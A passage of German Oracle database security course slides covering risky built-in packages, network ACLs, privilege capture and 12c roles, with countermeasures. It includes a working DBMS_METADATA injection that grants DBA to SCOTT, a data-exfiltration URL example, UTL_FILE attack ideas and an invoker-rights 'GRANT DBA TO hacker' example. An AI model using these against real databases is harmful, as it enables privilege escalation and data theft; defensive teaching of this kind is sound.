So könnte man sich zusätzliche Rechte geben, durch Manipulation der sys.sysauth$ Tabelle

Lösung

EXECUTE Rechte von Public entziehen und ggf. einer Rolle oder einem Benutzer direkt geben

REVOKE EXECUTE ON dbms_xmlstore FROM PUBLIC;

MuniQSoft GmbH Kapitel 2 - Rechte & Rollen Security I 2 - 16

Security I 2 - 16

Page 61: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Gefährliche Packages

UTL_HTTP

Damit können Webseiten angefordert und empfangen werden.

Sie können natürlich auch mittels CGI-Parameter Wer te an eine Webseite übermitteln

http://www.muniqsoft.de?para1=Geheime_Nachricht_aus_der_oracle_db_passwort_sys_erzuezru

Hinweis: Ab 11g verhindert eine Firewall eine Portz ugriff auf andere Server

MuniQSoft GmbH Kapitel 2 - Rechte & Rollen Security I 2 - 17

Beispiel:

declaret_result

varchar2(4000);begin

t_result := utl_http.request('http://www.muniqsoft. de');end;/

REM oder mit einer PL/SQL Tabelle in der die Zeilen gespeichert werden

declaret_part

utl_http.html_pieces;begin

t_part := utl_http.request_lines('http://www.muniqs oft.de/index.html');for i in 1 .. t_part.count loop

-- proces t_part(i);end loop;

end;/

Stichwörter: Gefährliche Packages, UTL_HTTP

Security I 2 - 17

Page 62: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Gefährliche Packages

UTL_TCP

Daten können via TCP gesendet oder empfangen werden (siehe Beispiel)

Testen wer welche Rechte auf dem Package besitzt:

SELECT * FROM dba_tab_privs WHERE table_name='UTL_TCP';

Hinweis: Ab 11g verhindert eine Firewall eine Portz ugriff auf andere Server

MuniQSoft GmbH Kapitel 2 - Rechte & Rollen Security I 2 - 18

Beispiel:

CREATE OR REPLACE PROCEDURE SEND_MAIL_TCP (msg_from VARCHAR2 := '[email protected]'

, msg_to VARCHAR, msg_subject VARCHAR2 := 'Nachrichtenüberschrift', msg_text VARCHAR2 := ''

)IS

c UTL_TCP.CONNECTION;rc INTEGER;

BEGIN c := UTL_TCP.OPEN_CONNECTION('localhost', 25);-- SM TP Port (lokal öffnen)rc := UTL_TCP.WRITE_LINE(c, 'HELO localhost'); rc := UTL_TCP.WRITE_LINE(c, 'MAIL FROM: '||msg_from ); rc := UTL_TCP.WRITE_LINE(c, 'RCPT TO: '||msg_to); rc := UTL_TCP.WRITE_LINE(c, 'DATA'); -- St art message body rc := UTL_TCP.WRITE_LINE(c, 'Subject: '||msg_subjec t); rc := UTL_TCP.WRITE_LINE(c, ''); rc := UTL_TCP.WRITE_LINE(c, msg_text); rc := UTL_TCP.WRITE_LINE(c, '.'); -- En d of message body rc := UTL_TCP.WRITE_LINE(c, 'QUIT');UTL_TCP.CLOSE_CONNECTION(c); -- Cl ose the connection

EXCEPTION WHEN others THEN

RAISE_APPLICATION_ERROR(-20000, 'Nachricht konnte n icht versendet werden'); END;/ show errors

EXEC SEND_MAIL_TCP ( msg_to => 'm.patzwahl@muniqsof t.de', msg_text => 'Das ist eine Email via utl_tcp');

Stichwörter:Gefährliche Packages, UTL_TCP

Security I 2 - 18

Page 63: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Gefährliche Packages

UTL_SMTP

Mit diesem Package können z.B. Emails verschickt we rden (siehe Beispiel)

Ab der Version 10g wird die Versendung von emails w eiter vereinfacht mittels des Packages dbms_mail

Hinweis: Ab 11g verhindert eine Firewall eine Portz ugriff auf andere Server

MuniQSoft GmbH Kapitel 2 - Rechte & Rollen Security I 2 - 19

Beispiel:

DECLAREv_sender VARCHAR2(2000) := '[email protected] ';v_rec VARCHAR2(2000) := '[email protected]';v_host VARCHAR2(2000) := '10.12.0.16';v_con UTL_SMTP.connection;crlf VARCHAR2(2) := chr(13)||chr(10);BEGIN

dbms_output.put_line('Starte Emailversand an:'||v_r ec);v_con := UTL_SMTP.open_connection(v_host, 25);UTL_SMTP.helo(v_con, v_host);UTL_SMTP.mail(v_con, v_sender);UTL_SMTP.rcpt(v_con, v_rec);UTL_SMTP.open_data(v_con); UTL_SMTP.write_data(v_con,'To:

'||v_rec||'<'||v_rec||'>'||crlf);UTL_SMTP.write_data(v_con,'Subject: Hallo Welt'||cr lf);

UTL_SMTP.write_data(v_con,'Zeile1'||crlf); UTL_SMTP.write_data(v_con,'Zeile2'||crlf); UTL_SMTP.close_data(v_con);UTL_SMTP.quit(v_con);dbms_output.put_line('Emailversand abgeschlossen');

EXCEPTIONWHEN others THEN

UTL_SMTP.quit(v_con);DBMS_OUTPUT.put_line(sqlerrm) ;

END; /

Stichwörter: Gefährliche Packages, UTL_SMTP

Security I 2 - 19

Page 64: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Gefährliche Packages

UTL_FILEDieses Package ermöglicht den lesenden oder schreib enden Zugriff auf Dateien im Betriebssystem

Beispiel:CREATE OR REPLACE DIRECTORY temp AS 'C:\TEMP';

EXEC UTL_FILE.FREMOVE('TEMP', '<datei>')

Gefahr ist hier groß, da ein EXECUTE RECHT an PUBLI C existiert

Auf keinen Fall den Parameter utl_file_dir auf '*' setzen

Mögliche Angriffe:Lesen der Passwort-Datei

Erzeugen/ergänzen der autoexec.bat Datei unter Wind ows

Erzeugen/ergänzen der .rhost Datei unter Unix

Überschreiben von Log-. Daten-, oder Controldateien

MuniQSoft GmbH Kapitel 2 - Rechte & Rollen Security I 2 - 20

Stichwörter: Gefährlihe Packages UTL_FILE

Security I 2 - 20

Page 65: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Gefährliche Packages

DBMS_METADATA

Dieses Package wird für Reverse Engineering Zwecke verwendet. Es kann CREATE TABLE oder CREATE INDEX Befehle für die bestehenden Objekte erzeugen

Leider hat es einen Bug, mit dem ein Angreifer DBA Rechte erlangen kann

Gefahr ist hier hoch da die EXECUTE Rechte an Publi c vergeben worden sind

SELECT * FROM dba_tab_privs WHERE grantee = 'PUBLIC' and table_name='DBMS_METADATA';

MuniQSoft GmbH Kapitel 2 - Rechte & Rollen Security I 2 - 21

CREATE OR REPLACE FUNCTION "SCOTT"."ATTACK_FUNC" re turn varchar2authid current_user aspragma autonomous_transaction;BEGINEXECUTE IMMEDIATE 'GRANT DBA TO SCOTT';COMMIT;RETURN '';END;/

SELECT SYS.DBMS_METADATA.GET_DDL( '''||SCOTT.ATTACK_FUNC()||''','') FROM dual;

Stichwörter: Gefährliche Packages, DBMS_METADATA

Security I 2 - 21

Page 66: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Ports sperren/freigeben (ab 11g)

Wenn über die folgenden Packages kommuniziert wird, besteht immer das Risiko, dass Daten aus der DB gestohlen werden

UTL_SMTP

UTL_HTTP

UTL_TCP

Ab 11g lassen sich nun diverse Ports sperren bzw. freigeben

MuniQSoft GmbH Kapitel 2 - Rechte & Rollen Security I 2 - 22

Security I 2 - 22

Page 67: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Ports sperren/freigeben (ab 11g)

Neue Direktive mit Namen utl_sec_pkg.xml erzeugen

begin dbms_network_acl_admin.create_acl ( acl => 'utl_sec_pkg.xml', description => 'Normal Access', principal => 'CONNECT', is_grant => TRUE, privilege => 'connect', start_date => null, end_date => null ); end; /

MuniQSoft GmbH Kapitel 2 - Rechte & Rollen Security I 2 - 23

Security I 2 - 23

Page 68: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Ports sperren/freigeben (ab 11g)

Benutzer Scott in die Direktive eintragen

begin dbms_network_acl_admin.add_privilege ( acl => 'utl_sec_pkg.xml', principal => 'SCOTT', is_grant => TRUE, privilege => 'connect', start_date => null, end_date => null); end;

MuniQSoft GmbH Kapitel 2 - Rechte & Rollen Security I 2 - 24

Security I 2 - 24

Page 69: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Ports sperren/freigeben (ab 11g)

Ports von 22 bis 55 freigeben

begin dbms_network_acl_admin.assign_acl ( acl => 'utlpkg.xml', host => 'www.muniqsoft.de', lower_port => 22, upper_port => 55); end;

MuniQSoft GmbH Kapitel 2 - Rechte & Rollen Security I 2 - 25

Security I 2 - 25

Page 70: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Ports sperren/freigeben (ab 11g)

Test:

SELECT utl_http.request('http://www.muniqsoft.de') FROM dual;

* ERROR at line 1: ORA-29273: HTTP request failed ORA-06512: at "SYS.UTL_HTTP", line 1577 ORA-24247: network access denied by access control list (ACL) ORA-06512: at line 1

MuniQSoft GmbH Kapitel 2 - Rechte & Rollen Security I 2 - 26

Security I 2 - 26

Page 71: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Fine Grain Access ab 12c

Bisher wurden ACLs für die Freigabe der Benutzung v on fremden Servern/Ports verwendet.

Neue Packageaufrufe vereinfachen diese Aufgabe nun.

Folgende neue Views stehen zur Verfügung

DBA_HOST_ACLS

USER_HOST_ACES und DBA_HOST_ACES

Übliche Fehlermeldung, wenn ACLs nicht gesetzt sindORA-29273: HTTP-Anforderung nicht erfolgreichORA-06512: in "SYS.UTL_HTTP", Zeile 1817ORA-24247: Netzwerkzugriff von Access Control-Liste (ACL) abgelehntORA-06512: in "SYS.HTTPURITYPE", Zeile 41

MuniQSoft GmbH Kapitel 4 - Security Ora12c 4-27

Alte DBMS_NETWORK_ACL_ADMIN Prozedur Neue entsprechende Proceduren

CREATE_ACL APPEND_HOST_ACE

ADD_PRIVILEGE APPEND_WALLET_ACE

ASSIGN_ACL

ASSIGN_WALLET_ACL

N/A APPEND_HOST_ACL

N/A APPEND_WALLET_ACL

DELETE_PRIVILEGE REMOVE_HOST_ACE

DROP_ACL REMOVE_WALLET_ACE

UNASSIGN_ACL

UNASSIGN_WALLET_ACL

CHECK_PRIVILEGE Keine vorhanden

CHECK_PRIVILEGE_ACLID Keine vorhanden

N/A SET_HOST_ACL

N/A SET_WALLET_ACL

Stichwörter: ACL

Security I 2 - 27

Page 72: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

DBMS_NETWORK_ACL_ADMIN ab 12c

Prozedurname Funktion

APPEND_HOST_ACE Neuen Host zur Freigabeliste hinzufügen

APPEND_WALLET_ACE Walletbenutzung freigeben

REMOVE_HOST_ACE Host von Freigabeliste entfernen

REMOVE_WALLET_ACE Freigabe für Walletbenutzung zurücknehmen

SET_HOST_ACL Neue Portfreigabe für Host und Ports definieren. Sollten vom Benutzer nicht manuell gesetzt werden

SET_WALLET_ACL Einsetzen der ACL für ein Wallet.Sollten vom Benutzer nicht manuell gesetzt werden

MuniQSoft GmbH Kapitel 4 - Security Ora12c 4-28

Hinweis:

Manuelles Hinzufügen von Portfreigaben zu einer existierenden ACL:

SELECT host,acl FROM DBA_HOST_ACLS;=> www.muniqsoft.de NETWORK_ACL_E12C7B39D3AF1DB9E04 30100007FFC4F

BEGINDBMS_NETWORK_ACL_ADMIN.SET_HOST_ACL (

host=>'www.muniqsoft.de',lower_port=>81,upper_port=>null,acl=>'NETWORK_ACL_E12C7B39D3AF1DB9E0430100007FFC4F' );

END;

Stichwörter: ACL

Security I 2 - 28

Page 73: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Beispiel zu APPEND_HOST_ACE (12c)

BEGINDBMS_NETWORK_ACL_ADMIN.APPEND_HOST_ACE(

host => ' www.muniqsoft.de ', lower_port => 80, -- Portnummerupper_port => NULL,ace => xs$ace_type(

privilege_list => xs$name_list(' http '), principal_name => ' SCOTT',principal_type => xs_acl.ptype_db));

END;

Hinweis:

Wenn upper_port=NULL gilt lower_port=upper_port

MuniQSoft GmbH Kapitel 4 - Security Ora12c 4-29

Syntax

DBMS_NETWORK_ACL_ADMIN.APPEND_HOST_ACL ( host IN VARCHAR2, lower_port IN PLS_INTEGER DEFAULT NULL, upper_port IN PLS_INTEGER DEFAULT NULL, acl IN VARCHAR2);

Stichwörter: ACE

Security I 2 - 29

Page 74: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Parameter zu APPEND_HOST_ACE (12c)

Privilege List kann sein

'smtp' Zugriff nur via UTL_SMTP und UTL_MAIL

'http' Zugriff via UTL_HTTP Package und HttpUriTy pe

'http_proxy' Zugriff via UTL_HTTP Package und Http UriType wenn über einen Proxy kommuniziert wird

'connect' Zugriff via UTL_TCP, UTL_SMTP, UTL_MAIL , UTL_HTTP, und DBMS_LDAP Packages, der dem Typ HttpUriType

Principal Name kann sein

Ein Datenbankbenutzer (z.B. SCOTT)

Eine Rolle (z.B. MY_APP_ROLE)

Principal Type kann sein

XS_ACL.PTYPE_DB für Datenbankbenutzer/Rolle

XS_ACL.PTYPE_XS Für Real Application Security Benut zer

MuniQSoft GmbH Kapitel 4 - Security Ora12c 4-30

Stichwörter: ACE

Security I 2 - 30

Page 75: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Beispiel zu REMOVE_HOST_ACE (12c)

BEGINDBMS_NETWORK_ACL_ADMIN.REMOVE_HOST_ACE (

host => ' www.muniqsoft.de ', lower_port => 80, upper_port => null, ace => xs$ace_type(

privilege_list => xs$name_list(' http '), principal_name => ' SCOTT',principal_type => xs_acl.ptype_db),

remove_empty_acl => TRUE);END;

MuniQSoft GmbH Kapitel 4 - Security Ora12c 4-31

Syntax

DBMS_NETWORK_ACL_ADMIN.REMOVE_HOST_ACE ( host IN VARCHAR2, lower_port IN PLS_INTEGER DEFAULT NULL, upper_port IN PLS_INTEGER DEFAULT NULL, ace IN XS$ACE_TYPE, remove_empty_acl IN BOOLEAN DEFAULT FALSE);

Stichwörter: ACE

Security I 2 - 31

Page 76: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

ACL Views

SELECT acl_owner, host, lower_port, upper_portFROM dba_host_acls;

SELECT * FROM dba_host_aces;

MuniQSoft GmbH Kapitel 4 - Security Ora12c 4-32

Stichwörter: ACL; View

Security I 2 - 32

Page 77: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

12c: DBMS_PRIVILEGE_CAPTURE (EE +DV Opt.)

Die Recht von Usern kann man sich leicht über die diversen Data Dictionary-Views oder DBMS_METADATA.GET_GRANTED_DDL anzeigen

Das in 12c neue Package DBMS_PRIVILEGE_CAPTURE ermöglicht darüber hinaus einen Vergleich der vergebenen Rechte und Rollen mit denen, die wirklic h benutzt werden, so dass man die Rechtevergabe besse r maßschneidern und minimieren kann.

Benötigte Rechte:

CAPTURE_ADMIN Rolle

Benötigte Lizenz: EE + Database Vault Option

MuniQSoft GmbH Kapitel 2 - Rechte & Rollen Security I 2 - 33

Stichwörter: PRIVILEGE, DBMS_PRIVILEGE_CAPTURE

Security I 2 - 33

Page 78: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Ablauf der Rechteerfassung

1. Sie sagen, was Sie aufzeichnen wollen:

DBMS_PRIVILEGE_CAPTURE.CREATE_CAPTURE

2. Sie starten die Aufzeichnung

DBMS_PRIVILEGE_CAPTURE.ENABLE_CAPTURE

3. Sie führen Ihre Aufgaben in der DB mit dem gewün schten Benutzer aus

4. Sie Stoppen die Aufzeichnung

DBMS_PRIVILEGE_CAPTURE.DISABLE_CAPTURE

5. Die Reporterzeugung wird angestoßen

DBMS_PRIVILEGE_CAPTURE.GENERATE_RESULT

6. Sie können die Auswertung beginnen

dba_used_privs

MuniQSoft GmbH Kapitel 2 - Rechte & Rollen Security I 2 - 34

Stichwörter: Rechteerfassung

Security I 2 - 34

Page 79: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

CREATE_CAPTURE-Prozedur

SyntaxDBMS_PRIVILEGE_CAPTURE.CREATE_CAPTURE (

name VARCHAR2,description VARCHAR2 DEFAULT NULL, -- max 1024 Zeic hentype NUMBER DEFAULT G_DATABASE,roles ROLE_NAME_LIST DEFAULT ROLE_NAME_LIST( ),condition VARCHAR2 DEFAULT NULL);

Parameter Type kann folgende Werte annehmen:

g_database: Ermittelt die Verwendung aller Rechte d er DB (außer SYS)

g_role: Ermittelt die Verwendung eines Rechts, das Bestandteil einer gegegeben Rolle oder Liste von Rollen ist.

g_context: Ermittelt die Verwendung eines Rechts in einem bestimmten Context, der durch den Parameter condition beschrie ben wird

g_role_and_context: Kombination von g_role und g_co ntext

MuniQSoft GmbH Kapitel 2 - Rechte & Rollen Security I 2 - 35

Stichwörter: Rechteerfassung; Prozedur

Security I 2 - 35

Page 80: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Beispiele

Alle Rechte der Datenbank erfassen

BEGINDBMS_PRIVILEGE_CAPTURE.CREATE_CAPTURE(

name => 'all_privs',type => DBMS_PRIVILEGE_CAPTURE.G_DATABASE);

END;

Alle Rechte von PUBLIC erfassen

BEGINDBMS_PRIVILEGE_CAPTURE.CREATE_CAPTURE(

name => 'pub_analysis',type => DBMS_PRIVILEGE_CAPTURE.G_ROLE,roles => role_name_list ('PUBLIC'));

END;

Hinweis: Es können mehrere Rollen mit Komma getrenn t angegeben werden

MuniQSoft GmbH Kapitel 2 - Rechte & Rollen Security I 2 - 36

Stichwörter: Rechteerfassung; Beispiele

Security I 2 - 36

Page 81: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Beispiele

Die genutzten Rechte des Benutzers SCOTT erfassen

BEGIN DBMS_PRIVILEGE_CAPTURE.CREATE_CAPTURE( name => 'ANY_priv_analysis_pol', type => DBMS_PRIVILEGE_CAPTURE.G_CONTEXT, condition => q'!SYS_CONTEXT('USERENV', 'SESSION_USER')='SCOTT' !'); END;

MuniQSoft GmbH Kapitel 2 - Rechte & Rollen Security I 2 - 37

Stichwörter: Rechteerfassung; Beispiele

Security I 2 - 37

Page 82: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

App-Überwachung in fremder Session

Alle genutzten Rechte des Modul sap_modul

BEGINDBMS_PRIVILEGE_CAPTURE.CREATE_CAPTURE(name => 'emp_pkg_privs',type => DBMS_PRIVILEGE_CAPTURE.G_CONTEXT,condition => q'!SYS_CONTEXT('USERENV', 'MODULE') = 'sap_modul' !');END;

Alternativ erstellen Sie einen Logon-Trigger, der b eim Anmelden einer bestimmten APP die Überwachung aktiviert

MuniQSoft GmbH Kapitel 2 - Rechte & Rollen Security I 2 - 38

Security I 2 - 38

Page 83: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Start / Ende der Erfassung

Aufzeichnung startenBEGIN DBMS_PRIVILEGE_CAPTURE.ENABLE_CAPTURE ('ALL_PRIVS_ANALYSIS'); END;

Ihre Anwendung benutzenSELECT * FROM …CREATE TABLE …DROP VIEW …

Aufzeichnung beendenBEGIN DBMS_PRIVILEGE_CAPTURE.DISABLE_CAPTURE ('ALL_PRIVS_ANALYSIS'); END;

Report erzeugenBEGIN DBMS_PRIVILEGE_CAPTURE.GENERATE_RESULT ('ALL_PRIVS_ANALYSIS'); END;

MuniQSoft GmbH Kapitel 2 - Rechte & Rollen Security I 2 - 39

Stichwörter: Rechteerfassung

Security I 2 - 39

Page 84: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Übersicht der Ausgabe

Diese Views werden zur Ausgabe der Informationen verwendet:

DBA_USED_PRIVS bzw. DBA_UNUSED_PRIVS

DBA_USED_PUBPRIVS

DBA_USED_SYSPRIVS bzw. DBA_UNUSED_SYSPRIVS

DBA_USED_SYSPRIVS_PATH bzw. DBA_UNUSED_SYSPRIVS_PATH

DBA_USED_OBJPRIVS bzw. DBA_UNUSED_OBJPRIVS

DBA_USED_OBJPRIVS_PATH bzw. DBA_UNUSED_OBJPRIVS_PATH

MuniQSoft GmbH Kapitel 2 - Rechte & Rollen Security I 2 - 40

Stichwörter: Rechteerfassung; Views

Security I 2 - 40

Page 85: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Beispielausgabe

DBA_UNUSED_PRIVS für den Benutzer SCOTT

MuniQSoft GmbH Kapitel 2 - Rechte & Rollen Security I 2 - 41

Stichwörter: Rechteerfassung

Security I 2 - 41

Page 86: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Neue Rollen in 12c

Rolle Beschreibung

AUDIT_ADMIN Benutzung von AUDIT und NOAUDIT Befehlen + Unified und fine-grained Audit Policies

AUDIT_VIEWER Analyse und Betrachtung von Audit Einträgen

CAPTURE_ADMIN Zum Erstellen von Verwalten von Privileg Analysis Policies mit dem Package dbms_privilege_capture

CDB_DBA Administration der CDB incl. SET CONTAINER, SELECT ON PDB_PLUG_IN_VIOLATIONS, und SELECT ON CDB_LOCAL_ADMIN_PRIVS.

EM_EXPRESS_BASIC Anmelden am EM und Betrachtung von Read Only Views (beinhaltet select_catalog_role)

EM_EXPRESS_ALL Benutzung aller Funktion des EM (beinhaltet EM_EXPRESS_BASIC)

MuniQSoft GmbH Kapitel 2 - Rechte & Rollen Security I 2 - 42

Stichwörter: Rollen; neu

Security I 2 - 42

Page 87: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Neue Rollen in 12c (f)

Rolle Beschreibung

GLOBAL_AQ_USER_ROLE Ermöglicht Verbindungen zu einem LDAP Server zur Benutzung mit Oracle Streams AQ

OPTIMIZER_PROCESSING_RATE

Erlaubt die Ausführung der Package-Prozeduren:GATHER_PROCESSING_RATE, SET_PROCESSING_RATEDELETE_PROCESSING_RATE

PDB_DBA Wird automatisch den lokalem Benutzer gegeben, wenn eine neue Pluggable Datenbank (PDB) von der seed PDB erstellt wird. Keine Rechte sind mit der Rolle verknüpft

MuniQSoft GmbH Kapitel 2 - Rechte & Rollen Security I 2 - 43

Stichwörter: Rollen; neu

Security I 2 - 43

Page 88: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Neue Rechte in 12.1.0.1

Recht Beschreibung

CREATE PLUGGABLE DATABASE

Erlaubt Erstellen von neuen Containern für DB

CLONE PLUGGABLE DATABASE Erlaubt das Klonen eines Containers

EXEMPT REDACTION POLICY Ermöglicht die Umgehung der bestehenden Oracle Data Redaction Policies

KEEP DATE TIME Für RAS: Gleiches Datum kann erneut übertragen werden

KEEP SYSGUID Für RAS: Gleiche SYSGUID kann erneut übertragen werden (sys_guid())

KEEP SEQUENCE Für RAS: Gleiche Sequence kann im Fehlerfall erneut übertragen werden. z.B.:GRANT KEEP SEQUENCE ON usr.seq1 to usr2;

MuniQSoft GmbH Kapitel 2 - Rechte & Rollen Security I 2 - 44

Stichwörter: Rechte; neu

Security I 2 - 44

Page 89: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Neue Rechte in 12.1.0.2

Recht Beschreibung

READ Erlaubt das Ausführen eines Selects auf eine spezielle Tabelle, View, Materialized View oder ein Synonym

READ ANY TABLE Erlaubt das Ausführen eines Selects auf eine beliebige Tabelle, View, Materialized View oder Synonym in einem anderen Schema

SELECT Recht READ Recht

LOCK TABLE <t> IN EXCLUSIVE MODE

SELECT … FROM <t> FOR UPDATE;

SELECT … FROM <T> SELECT … FROM <T>

Unterschiede READ ���� SELECT Recht

MuniQSoft GmbH Kapitel 2 - Rechte & Rollen Security I 2 - 45

Hinweis:

Wenn der Parameter SQL92_SECURITY=TRUE gesetzt ist, benötigt der Benutzer weiterhin ein SELECT Recht auf der Tabelle bei einem UPDATE oder DELETE

Stichwörter: Rechte; neu

Security I 2 - 45

Page 90: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Inherit Privileges (Oracle 12c)

Bei PL/SQL Objekten, die mit Invoker Rights kompili ert wurden, kann es passieren, dass ein Entwickler mit wenig Rechten für einen Benutzer mit vielen Rechte ein PL/SQL Objekt erstellt.

Der Entwickler könnte durch die Vererbung nun mehr Rechte erlangen, als er selber hatte.

Dies wird nun verhindert

Fehler ORA-06598: insufficient INHERIT PRIVILEGES privilege.

kann aber über das Recht -INHERIT [ANY] PRIVILEGES-wieder ermöglicht werden

MuniQSoft GmbH Kapitel 2 - Rechte & Rollen Security I 2 - 46

Security I 2 - 46

Page 91: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Inherit Privileges (f)

Beim Anlegen eines neuen Benutzers wird Ihm automatisch über die PUBLIC Rolle das Recht INHERIT PRIVILEGES zugewiesen:

CREATE USER SCOTT IDENTIFIED BY TIGER;

SELECT * FROM dba_tab_privs WHERE grantee='PUBLIC'AND privilege='INHERIT PRIVILEGES' AND table_name='SCOTT';

Sie müssen Ihm also das Recht explizit entziehen, d amit dieser neuer Mechanismus funktioniert !

MuniQSoft GmbH Kapitel 2 - Rechte & Rollen Security I 2 - 47

Security I 2 - 47

Page 92: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Beispiel zu inherit Privileges

Benutzer A Entwickler B

CREATE PROCEDUE PAUTHID CURRENT_USERIS BEGININSERT INTO a.t …END;

-- INSERT wird ersetzt durchEXECUTE IMMEDIATE 'GRANT DBA TO hacker IDENTIFIED BY xx';

Hat DBA Rechteund Tabelle t

Führt Procedure p aus understellt ungewollt einen neuenBenutzer mit DBA Rechten !!!

MuniQSoft GmbH Kapitel 2 - Rechte & Rollen Security I 2 - 48

Security I 2 - 48

Page 93: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Beispiel zu inherit Privileges

Syntax zum Vergeben des Rechts:

